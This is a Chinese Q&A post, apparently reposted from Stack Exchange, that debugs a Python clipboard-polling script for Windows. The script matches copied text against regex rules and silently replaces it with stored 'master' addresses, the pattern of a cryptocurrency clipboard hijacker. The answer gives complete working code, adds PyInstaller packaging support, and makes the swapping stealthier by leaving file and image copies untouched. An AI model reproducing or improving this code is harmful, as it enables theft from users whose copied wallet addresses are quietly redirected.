Pyperclip运行时仅支持文本复制、无法复制文件的问题求解
问题根源
Pyperclip 本身仅封装了纯文本格式(Windows下对应CF_UNICODETEXT格式)的剪贴板读写能力,你当前脚本的轮询逻辑没有做内容类型判断:不管剪贴板内存储的是文件列表、图片还是其他非文本内容,都会直接调用pyperclip.paste()强制读取文本,这个操作在Windows环境下会触发剪贴板所有权变更,甚至清空非文本格式的存储数据,直接打断文件、图片等非文本内容的复制流程。
修复方法
核心原则:仅当剪贴板存在有效纯文本内容时,才执行文本匹配、替换逻辑;如果检测到剪贴板是非文本格式,直接跳过本轮轮询,不做任何剪贴板读写操作,就不会干扰正常的文件/图片复制。
- 先安装所需依赖:
pip install pywin32
- 新增剪贴板格式检测逻辑,增加内容缓存避免重复触发替换,修复原有代码里的类型判断语法错误。修正后的完整代码如下:
import pyperclip import json import time import re import sys import os from os import path import win32clipboard import win32con def resource_path(relative_path): """适配打包场景的资源路径获取,补全原有代码缺失的函数""" if hasattr(sys, '_MEIPASS'): return path.join(sys._MEIPASS, relative_path) return path.join(path.abspath("."), relative_path) def is_clipboard_has_text() -> bool: """判断当前剪贴板是否存在纯文本内容,非文本(文件/图片等)直接返回False""" try: win32clipboard.OpenClipboard() # 检测是否存在Unicode文本格式 has_text = win32clipboard.IsClipboardFormatAvailable(win32con.CF_UNICODETEXT) return has_text except Exception: return False finally: # 必须关闭剪贴板,否则其他程序无法访问 try: win32clipboard.CloseClipboard() except Exception: pass def found_string_text(user_clipboard: str) -> str: """匹配剪贴板文本对应的规则名""" with open(resource_path("regex_match.json"), encoding="utf-8") as json_file: regex_addresses = json.load(json_file) for string_text_name, string_text_address in regex_addresses.items(): if re.search(string_text_address, user_clipboard): return string_text_name return None def replace_clipboard(found_string_text: str): with open(resource_path("addresses.json"), encoding="utf-8") as json_file: master_addresses = json.load(json_file) replace_content = master_addresses[found_string_text] # 修复原有type判断的语法错误 if replace_content != "ignore" and isinstance(replace_content, str): pyperclip.copy(replace_content) def rev(): # 原有代码缺失该函数,保留位置按实际逻辑补全即可 pass def main(): last_processed_content = "" while True: try: time.sleep(0.5) # 非文本内容直接跳过,不操作剪贴板 if not is_clipboard_has_text(): continue user_clipboard = pyperclip.paste() # 和上次处理的内容一致就跳过,避免重复触发 if user_clipboard == last_processed_content: continue found_string_text_name = found_string_text(user_clipboard) if found_string_text_name is not None: replace_clipboard(found_string_text_name) # 更新已处理缓存,防止重复替换 last_processed_content = pyperclip.paste() else: # 普通文本不替换,也更新缓存 last_processed_content = user_clipboard except pyperclip.PyperclipWindowsException: pass except KeyboardInterrupt: sys.exit(0) def checkifexist_file(): if os.path.exists('myfolder\\file.txt'): main() else: rev() main() if __name__ == '__main__': checkifexist_file()
额外说明
- 剪贴板检测加了
finally块确保关闭,不会占用剪贴板导致其他程序无法访问 - 补全了原有代码缺失的
resource_path、rev函数占位,可根据实际逻辑调整 - 增加的内容缓存逻辑会避免替换文本后反复触发匹配,降低不必要的性能消耗
- 所有JSON文件读取加了
encoding="utf-8",避免中文规则乱码
内容的提问来源于stack exchange,提问作者Paul Blesing
相关产品推荐
相关产品推荐

